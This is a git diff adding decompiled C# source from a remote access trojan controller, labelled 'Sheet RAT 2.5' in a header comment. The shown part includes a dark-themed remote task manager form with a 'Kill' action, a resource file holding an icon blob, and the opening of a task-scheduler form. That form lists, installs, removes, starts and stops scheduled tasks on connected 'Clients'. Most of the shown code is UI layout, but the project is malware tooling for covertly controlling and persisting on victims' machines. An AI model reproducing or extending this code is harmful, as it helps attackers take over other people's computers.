this.metroContextMenu1.Size = new Size(91, 26); + this.killToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.killToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0); + this.killToolStripMenuItem.Name = "killToolStripMenuItem"; + this.killToolStripMenuItem.Size = new Size(90, 22); + this.killToolStripMenuItem.Text = "Kill"; + this.killToolStripMenuItem.Click += new EventHandler(this.killToolStripMenuItem_Click); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.metroGrid1.AllowUserToAddRows = false; + this.metroGrid1.AllowUserToDeleteRows = false; + this.metroGrid1.AllowUserToResizeColumns = false; + this.metroGrid1.AllowUserToResizeRows = false; + this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.metroGrid1.Cursor = Cursors.Default; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.metroGrid1.DefaultCellStyle = gridViewCellStyle2; + this.metroGrid1.Dock = DockStyle.Fill; + this.metroGrid1.EnableHeadersVisualStyles = false; + this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.Location = new Point(20, 60); + this.metroGrid1.Name = "metroGrid1"; + this.metroGrid1.ReadOnly = true; + this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.metroGrid1.RowHeadersVisible = false; + this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGrid1.ShowCellErrors = false; + this.metroGrid1.ShowCellToolTips = false; + this.metroGrid1.ShowEditingIcon = false; + this.metroGrid1.ShowRowErrors = false; + this.metroGrid1.Size = new Size(719, 465); + this.metroGrid1.TabIndex = 181; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(759, 545); + this.Controls.Add((Control) this.metroGrid1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormTaskMgr); + this.Style = MetroColorStyle.Lime; + this.Text = "TaskManager"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormTaskMgr_Load); + this.metroContextMenu1.ResumeLayout(false); + ((ISupportInitialize) this.metroGrid1).EndInit(); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormTaskMgr.resx b/Server/Server/Forms/FormTaskMgr.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormTaskMgr.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormTaskScheduler.cs b/Server/Server/Forms/FormTaskScheduler.cs new file mode 100644 index 0000000..cd6644c --- /dev/null +++ b/Server/Server/Forms/FormTaskScheduler.cs @@ -0,0 +1,415 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormTaskScheduler +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormTaskScheduler : MetroForm +{ + public Clients Client; + public Clients patternclient; + public string path = ""; + private IContainer components; + public TreeView treeView1; + public MetroGrid metroGrid1; + private DataGridViewImageColumn Img; + private DataGridViewTextBoxColumn NameSh; + private DataGridViewTextBoxColumn Status; + private DataGridViewTextBoxColumn Trigger; + private DataGridViewTextBoxColumn TimeNext; + private DataGridViewTextBoxColumn TimeLast; + private DataGridViewTextBoxColumn Result; + private DataGridViewTextBoxColumn Author; + private DataGridViewTextBoxColumn Create; + public ImageList imageList1; + private ContextMenuStrip contextMenuForClients; + private ToolStripMenuItem installingToolStripMenuItem; + private ContextMenuStrip contextMenuStrip1; + private ToolStripMenuItem toolStripMenuItem1; + private ToolStripMenuItem removeToolStripMenuItem; + private ToolStripMenuItem createFolderToolStripMenuItem; + private ToolStripMenuItem removeFolderToolStripMenuItem; + private ToolStripMenuItem startToolStripMenuItem; + private ToolStripMenuItem stopToolStripMenuItem; + public Timer timer1; + + public FormTaskScheduler() => this.InitializeComponent(); + + public string[] TaskNameSelected() + { + List stringList = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGrid1.SelectedRows) + stringList.Add((string) selectedRow.Cells[1].Value); + return stringList.ToArray(); + } + + public string[] TaskNameAll() + { + List stringList = new List(); + foreach (DataGridViewRow row in (IEnumerable) this.metroGrid1.Rows) + stringList.Add((string) row.Cells[1].Value); + return 